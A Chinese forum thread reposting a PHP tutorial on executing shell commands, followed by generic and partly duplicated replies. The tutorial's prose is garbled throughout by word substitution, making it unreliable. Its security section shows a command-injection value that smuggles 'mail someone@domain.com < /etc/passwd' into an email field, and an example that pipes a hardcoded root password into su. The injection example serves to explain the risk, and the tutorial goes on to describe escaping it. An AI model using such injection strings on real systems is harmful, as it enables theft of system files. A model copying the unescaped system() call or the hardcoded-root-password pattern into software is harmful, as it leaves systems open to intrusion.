仓酷云
标题:
PHP教程之在PHP中履行体系内部号令
[打印本页]
作者:
金色的骷髅
时间:
2015-2-4 00:20
标题:
PHP教程之在PHP中履行体系内部号令
大部分语言的基础,不是说c有多好,而是c相对起手容易学,让你认为这个是编程语言,履行 PHP作为一种办事器真个剧本言语,象编写复杂,或是庞杂的静态网页如许的义务,它完整可以胜任。但工作不老是如斯,有时为了完成某个功效,必需借助于操作体系的内部法式(或称之为号令),如许可以做到事半功倍。
那末,是不是可以在PHP剧本中挪用内部号令呢?假如能,若何去做呢?有些甚么方面的挂念呢?信任你看了本文后,一定可以回覆这些成绩了。
是不是可以?
谜底是一定的。PHP和其它的法式设计言语一样,完整可以在法式内挪用内部号令,而且是很复杂的:只需用一个或几个函数便可。
条件前提
因为PHP根基是用于WEB法式开辟的,所以平安性成了人们思索的一个主要方面。因而PHP的设计者们给PHP加了一个门:平安形式。假如运转在平安形式下,那末PHP剧本中将遭到以下四个方面的限制:
履行内部号令
在翻开文件时有些限制
毗连MySQL数据库
基于HTTP的认证
在平安形式下,只要在特定目次中的内部法式才可以被履行,对其它法式的挪用将被回绝。这个目次可以在php.ini文件顶用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默许是/usr/local/php/bin。
假如你挪用一个应当可以输入了局的内部号令(意思是PHP剧本没有毛病),失掉的倒是一片空白,那末极可能你的网管已把PHP运转在平安形式下了。
若何做?
在PHP中挪用内部号令,可以用以下三种办法来完成:
1) 用PHP供应的专门函数
PHP供应共了3个专门的履行内部号令的函数:system(),exec(),passthru()。
system()
原型:string system (string command [, int return_var])
system()函数很其它言语中的差不多,它履行给定的号令,输入和前往了局。第二个参数是可选的,用来失掉号令履行后的形态码。
例子:
<?
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec()函数与system()相似,也履行给定的号令,但不输入了局,而是前往了局的最初一行。固然它只前往号令了局的最初一行,但用第二个参数array可以失掉完全的了局,办法是把了局逐行追加到array的开头处。所以假如array不是空的,在挪用之前最好用unset()最它清失落。只要指定了第二个参数时,才可以用第三个参数,用来获得号令履行的形态码。
例子:
<?
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
#$res是一个数据,每一个元素代表了局的一行
exec("/bin/ls -l", $res, $rc);
#$rc的值是号令/bin/ls -l的形态码。胜利的情形下凡是是0
?>
passthru()
原型:void passthru (string command [, int return_var])
passthru()只挪用号令,不前往任何了局,但把号令的运转了局原样地直接输入到尺度输入装备上。所以passthru()函数常常用来挪用象pbmplus(Unix下的一个处置图片的东西,输入二进制的原始图片的流)如许的法式。一样它也能够失掉号令履行的形态码。
例子:
<?
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2) 用popen()函数翻开历程
下面的办法只能复杂地履行号令,却不克不及与号令交互。但有些时分必需向号令输出一些器材,如在增添Linux的体系用户时,要挪用su来把以后用户换到root才行,而su号令必需要在号令行上输出root的暗码。这类情形下,用下面提到的办法明显是不可的。
popen()函数翻开一个历程管道来履行给定的号令,前往一个文件句柄。既然前往的是一个文件句柄,那末就能够对它读和写了。在PHP3中,对这类句柄只能做单一的操作形式,要末写,要末读;从PHP4入手下手,可以同时读和写了。除非这个句柄是以一种形式(读或写)翻开的,不然必需挪用pclose()函数来封闭它。
例子1:
<?
$fp=popen("/bin/ls -l", "r");
?>
例子2(本例来自PHP中国同盟网站http://www.phpx.com/show.php?d=col&i=51):
<?
/* PHP中若何增添一个体系用户
上面是一段例程,增添一个名字为james的用户,
root暗码是 verygood。仅供参考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3) 用反撇号(`,也就是键盘上ESC键上面的谁人,和~在统一个下面)
这个办法之前没有归入PHP的文档,是作为一个秘技存在的。办法很复杂,用两个反撇号把要履行的号令括起来作为一个表达式,这个表达式的值就是号令履行的了局。如:
<?
$res=`/bin/ls -l`;
echo '<b><pre>'.$res.'</pre></b>';
?>
这个剧本的输入就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要思索些甚么?
要思索两个成绩:平安性和超时。
先看平安性。好比,你有一家小型的网上商铺,所以可以出售的产物列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输出他们的EMAIL地址,然后把这个产物列表发给他们。假定你没有利用PHP的mail()函数(或从未传闻过),你就挪用Linux/Unix体系的mail法式来发送这个文件。法式就象如许:
<?
system("mail $to < products.txt");
echo "咱们的产物目次已发送到你的信箱:$to";
?>
用这段代码,普通的用户不会发生甚么风险,但实践上存在着十分大的平安破绽。假如有个歹意的用户输出了如许一个EMAIL地址:
'--bla ; mail someone@domain.com < /etc/passwd ;'
那末这条号令终究酿成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我信任,不管哪一个收集办理人员见到如许的号令,城市吓出一身盗汗来。
幸亏,PHP为咱们供应了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中一切能够瞒过Shell而去履行别的一个号令的字符本义。这些字符在Shell中是有特别寄义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处置号令的参数的。它在给定的字符串双方加上单引号,并把字符串中的单引号本义,如许这个字符串就能够平安地作为号令的参数。
再来看看超时成绩。假如要履行的号令要消费很长的工夫,那末应当把这个号令放到体系的后台去运转。但在默许情形下,象system()等函数要比及这个号令运转完才前往(实践上是要等号令的输入了局),这一定会引发PHP剧本的超时。处理的举措是把号令的输入重定向到别的一个文件或流中,如:
<?
system("/usr/local/bin/order_proc > /tmp/null &");
?> 最近陆续的有人问我学习php的心得,现在整理为下面,希望可以对大家有些帮助。
作者:
第二个灵魂
时间:
2015-2-4 11:53
写的比较杂,因为我也是个新手,不当至于大家多多指正。
作者:
活着的死人
时间:
2015-2-6 03:41
本文当是我的笔记啦,遇到的问题随时填充
作者:
乐观
时间:
2015-2-7 02:37
开发工具也会慢慢的更专业,每个公司的可能不一样,但是zend studio是个大伙都会用的。
作者:
愤怒的大鸟
时间:
2015-2-19 21:17
真正的方向了,如果将来要去开发团队,你一定要学好smarty ,phplib这样的模板引擎,
作者:
仓酷云
时间:
2015-3-3 21:58
先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。
作者:
因胸联盟
时间:
2015-3-5 11:29
如果你可以写完像留言板这样的程序,那么你可以去一些别人的代码了,
作者:
冷月葬花魂
时间:
2015-3-10 17:52
爱上php,他也会爱上你。
作者:
透明
时间:
2015-3-11 18:37
最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。
作者:
再见西城
时间:
2015-3-17 09:08
这些中手常用的知识,当你把我说的这些关键字都可以熟练运用的时候,你可以选择自己
作者:
金色的骷髅
时间:
2015-3-19 16:50
在我安装pear包的时候老是提示,缺少某某文件,才发现 那群extension 的排列是应该有一点的顺序,而我安装的版本的排序不是正常的排序。没办法我只好把那群冒号加了上去,只留下我需要使用的扩展。
作者:
小女巫
时间:
2015-3-23 00:17
php里的数组为空的时候是不能拿来遍历的;(这个有点低级啊,不过我刚被这个边界问题墨迹了好长一会)
作者:
柔情似水
时间:
2015-3-29 01:54
小鸟是第一次发帖(我习惯潜水的(*^__^*) 嘻嘻……),有错误之处还请大家批评指正,另外,前些日子听人说有高手能用php写驱动程序,真是学无止境,人外有人,天外有天。
作者:
简单生活
时间:
2015-4-4 21:31
学好程序语言,多些才是王道,写两个小时代码的作用绝对超过看一天书,这个我是深有体会(顺便还能练打字速度)。
作者:
老尸
时间:
2015-4-22 03:16
写的比较杂,因为我也是个新手,不当至于大家多多指正。
作者:
小魔女
时间:
2015-5-4 09:04
说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年 具体的记不清啦,囧。
作者:
爱飞
时间:
2015-6-6 07:32
写js我最烦的就是 ie 和 firefox下同样的代码 结果显示的结果千差万别,还是就是最好不要用遨游去调试,因为有时候遨游是禁用js的,有可能代码是争取结果被遨游折腾的认为是代码写错。
作者:
莫相离
时间:
2015-7-7 21:44
找到的的资料很多都是在论坛里的,需要注册,所以我一般没到一个论坛都注册一个id,所有的id都注册成一样的,这样下次再进来的时候就不用重复注册啦。当然有些论坛的某些资料是需要的付费的。
作者:
若天明
时间:
2015-10-13 16:38
最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。
作者:
兰色精灵
时间:
2015-10-17 13:15
写的比较杂,因为我也是个新手,不当至于大家多多指正。
欢迎光临 仓酷云 (http://ckuyun.com/)
Powered by Discuz! X3.2